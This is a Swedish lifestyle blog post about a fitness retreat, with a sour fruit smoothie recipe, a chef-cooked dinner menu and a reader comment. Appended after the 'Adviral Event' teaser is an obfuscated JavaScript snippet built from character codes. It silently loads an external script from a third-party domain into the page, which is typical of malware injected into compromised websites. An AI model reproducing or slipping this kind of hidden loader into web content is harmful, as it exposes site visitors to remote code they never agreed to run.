Bortskämda med egen kock.. -dagens smoothie recept!

IMG_2444

Godmorgon säger Linda med hela famnen full utav fruktsmoothie! Detta är vad jag vaknat till varje morgon senaste veckan, helt underbart!  Imrogon är det dags att åka hem, just nu känns det lite jobbig….

Just, Att behöva säga hej då till alla nya vänner. Jag skulle vilja packa ner både PT Lisa, Fotograf Linda, Stylist Giggi OCH kocken! Så det blir lite ordning och reda  på mig även hemma 😉

IMG_2436

Dagens syrliga vitaminbomb : Kiwi, citron, lime, ingfära, äpple, päron, apelsin och vattenmelon. -Syrlig, men suuuuuper god! 

IMG_2435

 

Igårkväll var vi i himmelriket. Vilken känsla att bli bortskämd och serverad till bords…

IMG_2397

 

FullSizeRender 5

Anka, rödbetsmos och annat grönt…

FullSizeRender 4

Risotto med schrizo korv, paprika bla…

IMG_2438

FullSizeRender 3

 

En variant på raveioli, med tryffel och toppat med rödvin sky, -alltså den smak kombinationen! 

IMG_2441

 

FullSizeRender 6

Dessert, fruktsallad, jordgubbar, annanas, vattenmelon toppat med vit choklad och gammeldags vaniljglass….. såååå gott!

När man håller igång i detta tempot som vi gjort här nere så är det så skönt att man kan äta med gott samvete 😉

Dennis han är lite som ett kinderägg, nya överraskningar hela tiden… Han är alltså inte ”bara” guide, han är också proffs kock… Jag undrar vad som ska dyka upp härnäst, kanske är han massör också?

-hahahaIMG_2442Jag har äntligen hittat min plats i köket…. -som provsmakare! För att laga mat är ju inte riktigt min grej 😉IMG_2439

 

IMG_2440

 

Nu har alla precis kommit tillbaka från Yogan… kaffe och fruktdrink får bli en bra start på denna dagen. Sista dagen, den ska förvaltas väl! Tabata på stranden är nästa träningspass…

Vi hörs sen fina du! Kramar /My Martens

17 Komentarer

    • Va? Hur menar du? 🙂 självklart blir alla lika bortskämda, hör är ingen som hålls utanför 🙂 Tabata boost trip, innebär en energi boost på alla plan 🙂

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/